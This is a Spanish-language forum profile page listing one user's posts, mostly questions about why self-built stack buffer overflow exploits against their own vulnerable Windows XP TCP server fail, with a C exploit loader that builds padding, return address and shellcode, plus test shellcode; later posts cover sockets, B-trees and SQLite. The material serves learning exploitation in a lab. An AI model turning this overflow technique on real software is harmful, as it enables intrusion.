elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Recuerda que debes registrarte en el foro para poder participar (preguntar y responder)


  Mostrar Mensajes
Páginas: 1 2 [3] 4 5 6 7 8 9 10 11
21  Seguridad Informática / Bugs y Exploits / Re: El compiler pareciera agregar algo entre variables de la stack desviando return en: 8 Enero 2015, 01:39 am
LORDPEI:

Oye, he estado tanteando y encontré que el programa reserva 280 bytes de stack, aparentemente (tomando tal cual el valor que me dio Olly, que no sé realmente si es decimal o hexadecimal). Pienso yo que está bien, aunque me costóp un poco seguir la subrutina.

Bueno, pareciera ser el alignment: ¿Puedes ayudarme a lograr que mis shellcodes no fallen por culpa de esto?? Reemplaze las 'A' de relleno por NOPs, pero igual.

Hice un cambio en la shellcode, agregando unas cuantas instrucciones, y funciona. Pero pareciera depender del tamaño de la shellcode: Hice una de 26 bytes, y funciona. Hice otra como de 15 bytes, y funciona.

Pero una de 21 bytes, y no funciono, saltando a una direccion rara que no tengo ni idea de donde salió.

Es como si el "tamaño" la afectara. ¿Como puedo lograr que la shellcode se ejecute bien a pesar del tamaño??? No puedo andar modificando el programa vulnerable, porque si fuera uno real no puedo.

He mirado lo que he hecho, y pareciera estar bien: Rellene con basura hasta alcanzar el limite, hay espacio suficiente, cargue bien la shellcode y la envié...Pero nada.

Importante:
Estoy usando FASM como ensamblador, y Tiny C Compiler. No sé si eso puede afectar, aunque lo compile con GCC e igual falla.

Gracias por tu ayuda, perdona por el mensaje extenso.
22  Seguridad Informática / Bugs y Exploits / Re: El compiler pareciera agregar algo entre variables de la stack desviando return en: 7 Enero 2015, 14:59 pm
LORdP3I:
Si tienes razón en decir que solo se desborda con strcpy(...). Y lo hice así porque pensé que sería más fácil de depurar con Olly si usaba un TCP.

Encontré algo curioso: He intentado variar un poco la shellcode, y depende de lo que sea funciona o no. No sé si esto tendrá que ver con el alignment. Solo le agregue una instruccion más, y dejo de funcionar. Estoy rellenando con basura hasta sobreescribir EBP, y poner EIP con mi valor deseado.

(Hecho con Flat Assembler)

Shellcode que NO funciona. (21 bytes)

Código
  1. use32
  2.  
  3. mov eax, 0xDEADBEEF
  4. mov ebx, 0xDEADBEEF
  5. mov ecx, 0xDEADBEEF
  6. mov edx, 0xDEADBEEF
  7. int3
  8.  
  9.  

Shellcode que si funciona: (15 bytes)

Código
  1. use32
  2.  
  3. mov eax, 0xDEADBEEF
  4. mov ebx, 0xDEADBEEF
  5. mov ecx, 0xDEADBEEF
  6. int3
  7.  
  8.  

He hecho todo lo posible para hacer funcionar la que es un poco más larga, pero no deja de falla. No sé si tendrá que ver con los bytes que contiene la shellcode 2, pero la revisé no hay ningún nulo por ahí. En teoría debería funcionar.

Será que habrá otros caracteres que puedan detener strcpy??? Revisé y no hay nulos allí, no sé si habrá otro que interfiera.

Estoy en proceso de entender la parte en donde reserva espacio en stack, pero el codigo es un poco largo y no lo encuentro. Supongo que sería un sub esp, x bytes, o no???

Bueno, espero su respuesta. Seguiré leyendo sobre como sacarle provecho a Olly en encontrar subrutinas.
23  Seguridad Informática / Bugs y Exploits / Re: Mi exploit funciona si el buffer tiene un tamaño pequeño, si es más grande, no. en: 6 Enero 2015, 04:51 am
Hola amigos, disculpen por ser tan impreciso, (editare ahora la pregunta).

Digamos que tengo un buffer de 20 bytes. Ahi pongo la shellcode + los bytes basura.
Y tengo exito.

Pero si tengo un buffer de 60 bytes, y lo lleno con shellcode + los bytes basura necesarios para desbordarlo y todo eso, se desborda pero no con el dato que le quise cargar.

Es como si el buffer tuviera bytes "de más" o algo asi. No sé como explicarlo, pero así me parece que es. Adjuntaré los sources en un sitio de parecido a pastebin, para que lo vean (no uso pastebin porque en mi pais pareciera estar bloqueado...)

Gracias por su atencion, y ahora editare la pregunta.

Puede estar una cosa llamada "aligment" interfiriendo aqui?? Estoy leyendo sobre eso, pero no estoy seguro y no soy muy ducho en estos temas.

24  Seguridad Informática / Bugs y Exploits / Re: Mi exploit funciona si el buffer tiene un tamaño pequeño, si es más grande, no. en: 6 Enero 2015, 02:18 am
Mi pregunta es: ¿Estará el compilador cambiando algo que afecte la posicion de las variables??? en la pila??

Estoy usando Tiny C Compiler sin proteccion alguna, en Windows XP.

Es como si ebp y eip hubiesen sido movidos. Sera que el alineamiento de las variables hara algun efecto??

Es un small buffer de 60 bytes, y luego uno de 120 bytes. El mas peque declarado primero, y luego el otro.

Editare el post si es necesario.
25  Seguridad Informática / Bugs y Exploits / El compiler pareciera agregar algo entre variables de la stack desviando return en: 3 Enero 2015, 23:36 pm
Hola. Edito mi pregunta para ser más preciso: Mi duda es: Puede el compilador agregar algo "de más" entre variables de la stack???

Tengo un Tiny C Compiler, sin protecciones ni a nivel de compilador ni a nivel de Windows XP.

Puede ser que algo llamado "alignment" esté haciendo fallar mi exploit?? He enviado la cantidad de bytes necesarios para desbordar mi propio TCP server. Cuando el buffer destino es de 20 bytes, funciona. Pero si es de 60, no lo hace.

Y estoy enviando la cantidad de bytes necesarios para desbordarlos + la shellcode, así, que en teoría debería hacer lo que quiero, pero en la práctica salta hacia un ret addr extraño.

Adjunto links a un sitio de tipo pastebin, para no abrumar aqui en el foro.
Aqui les dejo mis codigos fuente:

Todos ellos funcionan si el buffer small es de 20 y el big de 30. Cambiando el valor de ambos por 60 y 120, no funcionan. Ahi están mis sources, por si alguien los quiere ver.

(Uso winsock2.h, si alguna cosa lo renombran sin el 2)

Mi TCP server (source escrito por mi)
http://tny.cz/2dc66ee0

Mi TCP exploit
http://tny.cz/dc9295ba

Mi shellcode
http://tny.cz/c4426347

Aqui está el programa objetivo, ya compilado, a peticion de un usuario. Para que no digan que es que uno quiero que resuelvan por mi.
https://drive.google.com/file/d/0Bxshgu4STp1aUXpsYmMySWhqS3c/view?usp=sharing

Gracias de antemano por su atencion.
26  Seguridad Informática / Bugs y Exploits / No puedo cambiar bien la direccion de retorno tras un buffer overflow en stack en: 1 Enero 2015, 21:54 pm
Hola, estoy tratando de aprender sobre los stack-based buffer overflows, y para ello he construido mi propio programa vulnerable. Estoy teniendo problemas. Estoy tratando de jugar con la direccion de retorno para hacer ejecutar funciones que nunca son llamadas. Pero no puedo conseguirlo bien.

El programa vulnerable, recibe una cadena desde el usuario de 16 bytes, y luego la copia en un buffer de 8 bytes usando strcpy. He escrito un exploit sencillo, al cual le indicas cuantos bytes inutiles deseas, y luego la direccion de retorno en hexadecimal.

Pero cuando sobreescribo la funcion de retorno, solo una funcion se ejecuta, las demas (sabiendo su direccion) no lo hacen. ¿Por que sucederá eso? ¿Puede alguien explicarme como sobreescribir bien la direccion de retorno?

Exploit.c
Código
  1. /*Simple Exploit loader
  2.  
  3.     usage: exploit.exe <trash_bytes> <ret addr>
  4.  
  5.     Recibe la cantidad de bytes inutiles necesario para desbordar el buffer
  6.     y usa la direccion de retorno en hexadecimal, convertida a un binario
  7.     plano en un int de 4 bytes, y enviado al revés (por ser little endian, o
  8.    al menos eso pensé cuando lo cree)
  9.  
  10. */
  11.  
  12. #include <stdio.h>
  13. #include <stdlib.h>
  14.  
  15. union ret_addr{
  16.    char bytes[4];
  17.    unsigned int raw;
  18. };
  19.  
  20. int load_file_on_buffer(char filename[], void **ptr_buffer_destiny){
  21.    FILE *file_loaded;
  22.    void *buffer_destiny;
  23.    unsigned int file_size;
  24.  
  25.    file_loaded = fopen(filename, "rb");
  26.    if(file_loaded == NULL)
  27.        return 0;
  28.  
  29.    fseek(file_loaded, 0, SEEK_END);
  30.    file_size = ftell(file_loaded);
  31.    fseek(file_loaded, 0, SEEK_SET);
  32.  
  33.    buffer_destiny = (void *) malloc(file_size+1);
  34.    *ptr_buffer_destiny = buffer_destiny;
  35.  
  36.    fread((char *) buffer_destiny, file_size, 1, file_loaded);
  37.    buffer_destiny[file_size] = '\0';
  38.  
  39.    //printf("BEGIN DEBUG FILE\n");
  40.    //printf("%s", buffer_destiny);
  41.    //printf("\n\nEND DEBUG FILE\n");
  42.  
  43.    fclose(file_loaded);
  44.  
  45.    return file_size;
  46.  
  47. }
  48.  
  49. int main(int argc, char *argv[]){
  50.  
  51.    FILE *shellcode_file;
  52.    char *shellcode;
  53.    int file_size;
  54.  
  55.    int trash_bytes = atoi(argv[1]);
  56.    union ret_addr ret_addr;
  57.    ret_addr.raw = (unsigned int) strtol(argv[2], NULL, 16);
  58.  
  59.    int i = 0;
  60.    for(i; i < trash_bytes; i++){
  61.         printf("a");
  62.    }
  63.  
  64.    if(argc == 3){
  65.    printf("%c", ret_addr.bytes[3]);
  66. printf("%c", ret_addr.bytes[2]);
  67. printf("%c", ret_addr.bytes[1]);
  68. printf("%c", ret_addr.bytes[0]);
  69. }
  70.  
  71.    file_size = load_file_on_buffer("shellcode.bin", &shellcode);
  72.  
  73.    for(i = 0; i < file_size; i++){
  74.         printf("%c", shellcode[i]);
  75.    }
  76.  
  77. }
  78.  

Gracias de antemano. No sé si habrá algo mal con mi exploit. Ya me he estado leyendo la stack y como funciona. Seguire buscando en internet....

EDIT 1:

Estoy jugando con un programa tipo TCP servidor hecho por mi mismo, y en vez de sobreescribir EIP, sobreescribo EDX. ¿Puede alguien decirme por qué? Gracias de antemano.
27  Programación / Programación C/C++ / Re: No puedo procesar datos recibidos de socket como un bloque en: 4 Diciembre 2014, 22:36 pm
Gracias ivancea96. He implementado una solucion que va contando cada paquete de bytes y los concatena hasta encontrar un CR. Gracias por tu ayuda.
28  Programación / Programación C/C++ / No puedo procesar datos recibidos de socket como un bloque en: 4 Diciembre 2014, 02:24 am
Hola. Estoy desarrollando algo que podría llamarse "shell remota" porque recibe comandos desde una máquina externa. En realidad es una computadora que está a la escucha de comandos, los interpreta y devuelve un resultado.

El problema está en que yo quiero recibir los carácteres recibidos como un bloque, es decir, como un comando completo. Pero cuando lo intento, pareciera ser que voy recibiendo byte a byte, en vez de toda la informacion transmitida.

Por favor, si pueden ayudarme estaría muy agradecido. Adjunto el código para que vean que el receptor no puede interpretar el comando "ATTACK".

Código
  1. /* Enlazar Ws2_32 */
  2. #define _WIN32_WINNT 0x0501
  3. #include <stdio.h>
  4. #include <winsock2.h>
  5. #define PUERTO 8080
  6.  
  7. WSADATA wsa_data;
  8. SOCKET listen_socket, cliente;
  9. struct sockaddr_in clientinfo, servicio;
  10. int rtn;
  11. char buffer[256];
  12.  
  13. void print_buffer(char *buffer, unsigned int bytes) {
  14.    while(bytes--)
  15.        putchar(*buffer++);
  16.  
  17. }
  18.  
  19. int main() {
  20.    if ((rtn = WSAStartup(MAKEWORD(2,2), &wsa_data)) != 0) {
  21.        fprintf(stderr, "Error WSAStartup: %d\n", rtn);
  22.        return 1;
  23.    }
  24.  
  25.    if((listen_socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET) {
  26.        fprintf(stderr, "Error en socket: %d\n", WSAGetLastError());
  27.        WSACleanup();
  28.        return 1;
  29.    }
  30.  
  31.    servicio.sin_family = AF_INET;
  32.    servicio.sin_addr.S_un.S_addr = INADDR_ANY;
  33.    servicio.sin_port = htons(PUERTO);
  34.  
  35.    if((rtn = bind(listen_socket, (struct sockaddr*) &servicio, (int) sizeof(servicio))) == SOCKET_ERROR) {
  36.        fprintf(stderr, "Error en bind: %d\n", WSAGetLastError());
  37.        WSACleanup();
  38.        return 1;
  39.    }
  40.  
  41.    if (listen(listen_socket, SOMAXCONN) == SOCKET_ERROR) {
  42.        fprintf(stderr, "Error en listen: %d\n", WSAGetLastError());
  43.        closesocket(listen_socket);
  44.        WSACleanup();
  45.        return 1;
  46.    }
  47.  
  48.    if((cliente = accept(listen_socket, (struct sockaddr*)&clientinfo, NULL)) == INVALID_SOCKET) {
  49.        fprintf(stderr, "Error en accept: %d\n", WSAGetLastError());
  50.        closesocket(listen_socket);
  51.        WSACleanup();
  52.        return 1;
  53.    }
  54.  
  55.    closesocket(listen_socket);
  56.  
  57.    printf("Cliente IP: %s\n", inet_ntoa(clientinfo.sin_addr));
  58.  
  59.    do {
  60.        rtn = recv(cliente, buffer, sizeof(buffer), 0);
  61.  
  62.        if(rtn > 0) {
  63.            print_buffer(buffer, rtn);
  64.            if(strcmp(buffer, "ATTACK") == 0){
  65.                printf("ATTACK COMMAND ISSUED!!\n");
  66.            }
  67.        } else if(rtn == 0)
  68.            printf("Cerrando la conexión...\n");
  69.        else {
  70.            fprintf(stderr, "Error en recv: %d\n", WSAGetLastError());
  71.            closesocket(cliente);
  72.            WSACleanup();
  73.            return 1;
  74.        }
  75.    } while(rtn > 0);
  76.  
  77.    closesocket(cliente);
  78.    WSACleanup();
  79.  
  80.    return 0;
  81. }
  82.  
  83.  
29  Programación / Programación C/C++ / Puede alguien aclararme como funciona un Arbol B??? en: 30 Noviembre 2014, 00:17 am
Hola. Estoy aprendiendo algo sobre los Arboles B, una estructura de datos. No sé si este sea el sitio adecuado, pero tengo varias interrogantes acerca de ese Arbol:

No entiendo como cuál es la lógica que sigue el arból. Entiendo bien los términos de nodos hijos y nodos padres, pero no entiendo como funciona. ¿Puede alguien darme una explicacion un poco más sencilla que las que aparecen en internet? Por si acaso, seguiré buscando...

¿Los nodos de izquiera a derecha, van de menor valor a mayor?



Gracias por su ayuda.
30  Programación / Programación C/C++ / Base de datos SQLite hace un Segmentation Fault al ejecutar sentencia SQL. en: 19 Noviembre 2014, 16:11 pm
Hola, estoy desarrollando una aplicacion sencilla que usa bases de datos SQLite en C/C++. Al hacer la consulta que crea una TABLA si no existe, la aplicacion hace una VIOLACION DE MEMORIA. He estado revisando con el depurador, pero no lo he podido conseguir.

No encontre un subforo adecuado para este tema, así que lo posteé aquí. Disculpen si aquí no iba. XD. El código es el siguiente:

Código
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <strings.h>
  4. #include <sqlite3.h>
  5.  
  6. ///Global variables
  7. sqlite3 *db;
  8. char *zErrMsg = 0;
  9. int rc;
  10. char sql[128];
  11.  
  12.   ///Used to extract interesting data from callbacks.
  13. int number_of_rows_fetched;
  14. int money;
  15. int money2;
  16. const char *data = "Callback function called!!\n";
  17.  
  18. ///This function is called each time that a row if found.
  19. ///The only way to keep tracking how many rows has the table,
  20. ///it's increasing the counter.
  21. static int callback(void *data, int argc, char **argv, char **azColName){
  22.   printf("Callback is running!!\n");
  23.  
  24.   return 0;
  25. }
  26.  
  27.  
  28. int init(){
  29.  
  30.    ///Open database
  31.   rc = sqlite3_open("bank.db", &db);
  32.   if(rc != SQLITE_OK){
  33.      fprintf(stderr, "Can't open database: %s\n", sqlite3_errmsg(db));
  34.      exit(0);
  35.   }else{
  36.      fprintf(stderr, "Opened database successfully\n");
  37.   }
  38.  
  39.  
  40.  
  41.   ///Create Table if it doesn't exist
  42.   memset(sql, 0, sizeof(sql));
  43.   strcat(sql, "CREATE TABLE accounts("  \
  44.         "id INT            NOT NULL," \
  45.         "username           TEXT    NOT NULL," \
  46.         "password           TEXT    NOT NULL," \
  47.         "cash               INT);");
  48.  
  49.   ///Run query
  50.   rc = sqlite3_exec(db, sql, callback, 0, &zErrMsg);
  51.   printf("After the crash, i still alive\n");
  52.   if( rc != SQLITE_OK ){
  53.   fprintf(stderr, "SQL error: %s\n", zErrMsg);
  54.      sqlite3_free(zErrMsg);
  55.   }else{
  56.      fprintf(stdout, "Table created successfully\n");
  57.   }
  58.  
  59. }
  60.  
  61. int main(int argc, char* argv[])
  62. {
  63.  
  64.   init();
  65.  
  66.   return 0;
  67. }
  68.  
  69.  

Realmente he tenido dudas sobre si este tópico iría en este subforo, pero como no encuentro algo relacionado con Bases de Datos directamente, quise postearlo aqui.

Gracias de antemano.
Páginas: 1 2 [3] 4 5 6 7 8 9 10 11
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines